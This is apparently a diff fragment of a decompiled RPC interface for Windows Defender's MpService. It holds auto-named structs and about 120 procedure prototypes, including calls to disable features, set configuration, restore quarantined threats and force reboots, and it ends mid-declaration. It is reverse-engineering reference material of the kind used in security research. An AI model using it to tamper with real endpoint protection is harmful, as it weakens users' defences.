+typedef struct Struct_3824_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + } Struct_3824_t; + +typedef struct Struct_3880_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + } Struct_3880_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3928 + { + /* [case()][unique] */ struct Struct_3944_t *unionMember_1; + } union_3928; + +typedef struct Struct_3944_t + { + long StructMember0; + long StructMember1; + long StructMember2; + hyper StructMember3; + } Struct_3944_t; + +typedef struct Struct_3958_t + { + long StructMember0; + /* [switch_is] */ union union_3928 StructMember1; + } Struct_3958_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3992 + { + /* [case()][unique] */ struct Struct_4044_t *unionMember_1; + /* [case()][unique] */ struct Struct_4066_t *unionMember_2; + /* [case()][unique] */ struct Struct_4086_t *unionMember_3; + /* [case()][unique] */ struct Struct_4118_t *unionMember_4; + /* [case()][unique] */ struct Struct_4142_t *unionMember_5; + } union_3992; + +typedef struct Struct_4044_t + { + long StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + } Struct_4044_t; + +typedef struct Struct_4066_t + { + struct Struct_4044_t StructMember0; + long StructMember1; + } Struct_4066_t; + +typedef struct Struct_4086_t + { + struct Struct_4066_t StructMember0; + long StructMember1; + } Struct_4086_t; + +typedef struct Struct_4118_t + { + struct Struct_4086_t StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + } Struct_4118_t; + +typedef struct Struct_4142_t + { + struct Struct_4118_t StructMember0; + long StructMember1; + } Struct_4142_t; + +typedef struct Struct_4158_t + { + long StructMember0; + /* [switch_is] */ union union_3992 StructMember1; + } Struct_4158_t; + +typedef struct Struct_4178_t + { + long StructMember0; + long StructMember1; + struct Struct_126_t StructMember2; + } Struct_4178_t; + +typedef struct Struct_4194_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + hyper StructMember3; + hyper StructMember4; + } Struct_4194_t; + +typedef struct Struct_4208_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + long StructMember7; + struct Struct_126_t StructMember8; + long StructMember9; + long StructMember10; + /* [string][unique] */ wchar_t *StructMember11; + long StructMember12; + long StructMember13; + long StructMember14; + long StructMember15; + } Struct_4208_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_4280 + { + /* [case()][unique] */ struct Struct_4296_t *unionMember_1; + } union_4280; + +typedef struct Struct_4296_t + { + long StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + hyper StructMember4; + struct Struct_1516_t StructMember5; + struct Struct_1516_t StructMember6; + } Struct_4296_t; + +typedef struct Struct_4314_t + { + long StructMember0; + /* [switch_is] */ union union_4280 StructMember1; + } Struct_4314_t; + +typedef struct Struct_4334_t + { + long StructMember0; + long StructMember1; + struct Struct_126_t StructMember2; + long StructMember3; + long StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + /* [string][unique] */ wchar_t *StructMember8; + /* [string][unique] */ wchar_t *StructMember9; + /* [string][unique] */ wchar_t *StructMember10; + /* [string][unique] */ wchar_t *StructMember11; + /* [string][unique] */ wchar_t *StructMember12; + /* [string][unique] */ wchar_t *StructMember13; + /* [string][unique] */ wchar_t *StructMember14; + /* [string][unique] */ wchar_t *StructMember15; + /* [string][unique] */ wchar_t *StructMember16; + /* [string][unique] */ wchar_t *StructMember17; + /* [string][unique] */ wchar_t *StructMember18; + /* [string][unique] */ wchar_t *StructMember19; + /* [string][unique] */ wchar_t *StructMember20; + /* [string][unique] */ wchar_t *StructMember21; + /* [string][unique] */ wchar_t *StructMember22; + /* [string][unique] */ wchar_t *StructMember23; + /* [string][unique] */ wchar_t *StructMember24; + /* [string][unique] */ wchar_t *StructMember25; + /* [string][unique] */ wchar_t *StructMember26; + /* [string][unique] */ wchar_t *StructMember27; + /* [string][unique] */ wchar_t *StructMember28; + /* [string][unique] */ wchar_t *StructMember29; + } Struct_4334_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_4494 + { + /* [case()][unique] */ struct Struct_4510_t *unionMember_1; + } union_4494; + +typedef struct Struct_4510_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + long StructMember3; + long StructMember4; + hyper StructMember5; + /* [unique] */ wchar_t *StructMember6; + } Struct_4510_t; + +typedef struct Struct_4530_t + { + long StructMember0; + /* [switch_is] */ union union_4494 StructMember1; + } Struct_4530_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_4580 + { + /* [case()][unique] */ struct Struct_4620_t *unionMember_1; + } union_4580; + +typedef struct Struct_4620_t + { + /* [size_is][unique] */ unsigned char *StructMember0; + long StructMember1; + /* [size_is][unique] */ unsigned char *StructMember2; + long StructMember3; + hyper StructMember4; + long StructMember5; + long StructMember6; + long StructMember7; + long StructMember8; + long StructMember9; + } Struct_4620_t; + +typedef struct Struct_4650_t + { + long StructMember0; + /* [switch_is] */ union union_4580 StructMember1; + } Struct_4650_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_4688 + { + /* [case()][unique] */ struct Struct_4704_t *unionMember_1; + } union_4688; + +typedef struct Struct_4704_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + long StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + long StructMember4; + long StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + long StructMember7; + } Struct_4704_t; + +typedef struct Struct_4734_t + { + long StructMember0; + /* [switch_is] */ union union_4688 StructMember1; + } Struct_4734_t; + +typedef struct Struct_4778_t + { + long StructMember0; + /* [size_is][unique] */ unsigned char *StructMember1; + } Struct_4778_t; + +typedef struct Struct_4838_t + { + long StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + /* [size_is][unique] */ struct Struct_4778_t **StructMember6; + /* [size_is][unique] */ struct Struct_4778_t **StructMember7; + } Struct_4838_t; + +typedef struct Struct_4886_t + { + long StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ struct Struct_4838_t **StructMember3; + } Struct_4886_t; + +typedef struct Struct_4918_t + { + long StructMember0; + struct Struct_16_t StructMember1; + long StructMember2; + unsigned char StructMember3[ 16 ]; + long StructMember4; + unsigned char StructMember5; + short StructMember6; + short StructMember7; + short StructMember8; + short StructMember9; + } Struct_4918_t; + +long Proc0_ServerMpEnableFeature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc1_ServerMpDisableFeature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc2_ServerMpQueryStatus( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_144_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc3_ServerMpEventOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ struct Struct_16_t *arg_5, + /* [context_handle][out] */ void **arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc4_ServerMpEventClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc5_ServerMpEventQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc6_ServerMpOnDemandStartScan( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][unique][in] */ struct Struct_476_t *arg_5, + /* [in] */ long arg_6, + /* [out] */ struct Struct_16_t *arg_7, + /* [context_handle][out] */ void **arg_8, + /* [out] */ error_status_t *arg_9); + +long Proc7_ServerMpOnDemandQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc8_ServerMpOnDemandQueryScanResult( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_78_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc9_ServerMpOnDemandControlScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc10_ServerMpOnDemandControlSystemScan( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc11_ServerMpOnDemandPersistScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc12_ServerMpOnDemandCloseScan( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc13_ServerMpOnDemandThreatOpen( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc14_ServerMpOnDemandThreatEnum( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc15_ServerMpOnDemandThreatClose( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc16_ServerMpScanOpenThreatHistory( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc17_ServerMpScanEnumerateThreatHistory( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc18_ServerMpScanEnumerateDetectionHistory( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1382_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc19_ServerMpScanCloseThreatHistory( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc20_ServerMpScanDeleteThreatHistory( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc21_ServerMpRpcCleanOpen( + /* [in] */ long arg_1, + /* [unique][in] */ struct Struct_1434_t *arg_2, + /* [in] */ long arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc22_ServerMpRpcScanCleanOpen( + /* [context_handle][in] */ void *arg_0, + /* [unique][in] */ struct Struct_1434_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc23_ServerMpRpcCleanStart( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc24_ServerMpRpcCleanControl( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc25_ServerMpRpcCleanThreatsNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc26_ServerMpRpcPrecheckStart( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc27_ServerMpRpcPrecheckNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc28_ServerMpRpcCleanQuery( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc29_ServerMpRpcCleanClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc30_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc31_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc32_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc33_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc34_ServerMpQuarantineEnumOpen( + /* [in] */ long arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc35_ServerMpQuarantineEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_16_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc36_ServerMpQuarantineEnumClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc37_ServerMpQuarantineQueryInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [ref][out] */ struct Struct_1232_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc38_ServerMpQuarantineRestoreThreat( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ struct Struct_16_t *arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc39_ServerMpQuarantineDeleteThreat( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc40_ServerMpStateEnumOpen( + /* [context_handle][out] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc41_ServerMpQueryEngineVersion( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_1536_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc42_ServerMpUpdateEngineSignature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc43_ServerMpRollbackEngineSignature( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc44_ServerMpThreatStaticInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ hyper arg_2, + /* [ref][out] */ struct Struct_1232_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc45_ServerMpQuerySystemInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ unsigned char *arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ unsigned char **arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc46_ServerMpRpcConfigSetValue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [in] */ long arg_3, + /* [in] */ long arg_4, + /* [size_is][in] */ unsigned char *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc47_ServerMpRpcConfigDelValue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc48_ServerMpRpcElevationHandleOpen( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc49_ServerMpRpcElevationHandleAttach( + /* [in] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc50_ServerMpRpcElevationHandleClose( + /* [in] */ long arg_1, + /* [context_handle][out][in] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc51_ServerMpRpcElevateCleanHandle( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][in] */ void *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc52_ServerMpRpcSignatureThreatOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc53_ServerMpRpcSignatureThreatEnum( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [ref][out] */ struct Struct_1232_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc54_ServerMpRpcSignatureThreatClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc55_ServerMpRpcGetSampleInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [ref][out] */ struct Struct_1740_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc56_ServerMpRpcQueryScansWithSamples( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ struct Struct_16_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc57_ServerMpRpcDropScansWithSamples( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ struct Struct_16_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc58_ServerMpRpcSpynetQueueCreate( + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_16_t *arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc59_ServerMpRpcSpynetQueueQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc60_ServerMpRpcSpynetQueueClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc61_ServerMpRpcSpynetGenerateReport( + /* [context_handle][in] */ void *arg_0, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ long *arg_3, + /* [out] */ struct Struct_110_t *arg_4, + /* [out] */ struct Struct_16_t *arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc62_ServerMpRpcSenseGenerateReport( + /* [context_handle][in] */ void *arg_0, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc63_ServerMpRpcSpynetOnResponse( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_1872_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [in] */ long arg_4, + /* [out] */ long *arg_5, + /* [size_is][size_is][ref][out] */ unsigned char **arg_6, + /* [out] */ error_status_t *arg_7); + +long Proc64_ServerMpRpcSpynetGetStartTime( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_28_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc65_ServerMpRpcSpynetUpdateSpynetMetrics( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_1920_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc66_ServerMpRpcSpynetClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc67_ServerMpRpcSigUpdServiceOpen( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc68_ServerMpRpcSigUpdServiceQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1978_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc69_ServerMpRpcSigUpdServiceSendProgressNotification( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_970_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc70_ServerMpRpcSigUpdServiceClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc71_ServerMpRpcSigUpdClientOpen( + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc72_ServerMpRpcSigUpdClientQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc73_ServerMpRpcSigUpdClientClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc74_ServerMpRpcSigUpdControl( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_1978_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc75_ServerMpRpcIdleNotificationOpen( + /* [string][in] */ wchar_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc76_ServerMpRpcIdleNotificationClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc77_ServerMpRpcNotifyIdle( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc78_ServerMpRpcIdleCheckTaskCompletion( + /* [context_handle][in] */ void *arg_0, + /* [out] */ error_status_t *arg_1); + +long Proc79_ServerMpRpcThreatOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc80_ServerMpRpcThreatEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc81_ServerMpRpcThreatClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc82_ServerMpRpcDbgThreatViewAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc83_ServerMpRpcForcedReboot( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc84_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc85_ServerMpRpcAddFastPathSignatureFile( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [ref][out] */ struct Struct_2070_t **arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc86_ServerMpRpcRemoveFastPathSignatureFile( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc87_ServerMpRpcDynamicSignatureOpen( + /* [in] */ long arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc88_ServerMpRpcDynamicSignatureEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_2070_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc89_ServerMpRpcDynamicSignatureClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc90_MpService__CMpMapsLatencyDataIterator__Clone( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc91_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc92_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][in] */ void *arg_0, + /* [out] */ error_status_t *arg_1); + +long Proc93_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc94_ServerMpRpcMemoryScanStart( + /* [in] */ struct Struct_126_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ struct Struct_2516_t *arg_3, + /* [out] */ struct Struct_16_t *arg_4, + /* [context_handle][out] */ void **arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc95_ServerMpRpcMemoryScanQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc96_ServerMpRpcMemoryScanClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc97_ServerMpRpcFastMemoryScanOpen( + /* [in] */ struct Struct_126_t *arg_1, + /* [out] */ struct Struct_2558_t *arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc98_ServerMpRpcFastMemoryScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [in] */ struct Struct_2442_t *arg_2, + /* [out] */ struct Struct_110_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc99_ServerMpRpcFastMemoryScanClose( + /* [context_handle][out][in] */ void **arg_0, + /* [out] */ error_status_t *arg_1); + +long Proc100_ServerMpRpcFastMemoryScanCacheInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_2558_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc101_ServerMpRpcAmsiCloseSession( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc102_ServerMpRpcTcgLogScan( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [out] */ long *arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ unsigned char **arg_5, + /* [out] */ error_status_t *arg_6); + +long Proc103_ServerMpRpcTcgLogApplyExtResult( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc104_ServerMpRpcDbgSendCallbackNotification( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_970_t *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc105_ServerMpRpcThreatRollup( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_2640_t **arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc106_ServerMpDetectionQuery( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_16_t *arg_1, + /* [ref][out] */ struct Struct_1232_t **arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc107_ServerMpRpcRequestSnooze( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc108_ServerMpRpcOfflineScanInstall( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc109_ServerMpRpcOfflineScanStatusQuery( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_2680_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc111_ServerMpRpcTriggerHeartbeatOnUninstall( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1); + +long Proc112_ServerMpRpcTriggerErrorHeartbeatReport( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [string][in] */ wchar_t *arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5); + +long Proc113_ServerMpRpcTriggerHeartbeatReport( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ struct Struct_1872_t **arg_1, + /* [out] */ error_status_t *arg_2); + +long Proc114_ServerMpRpcRemapCallistoDetections( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ wchar_t *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc115_ServerMpRpcGetCallistoDetections( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_1232_t ***arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc116_ServerMpRpcIsAdlFallbackDue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc117_ServerMpRpcIsRtpAutoEnable( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ long *arg_2, + /* [out] */ long *arg_3, + /* [out] */ error_status_t *arg_4); + +long Proc118_ServerMpRpcEngineQueryConfigDword( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3); + +long Proc119_ServerMpRpcSampleHeaderQueueCreate( + /* [in] 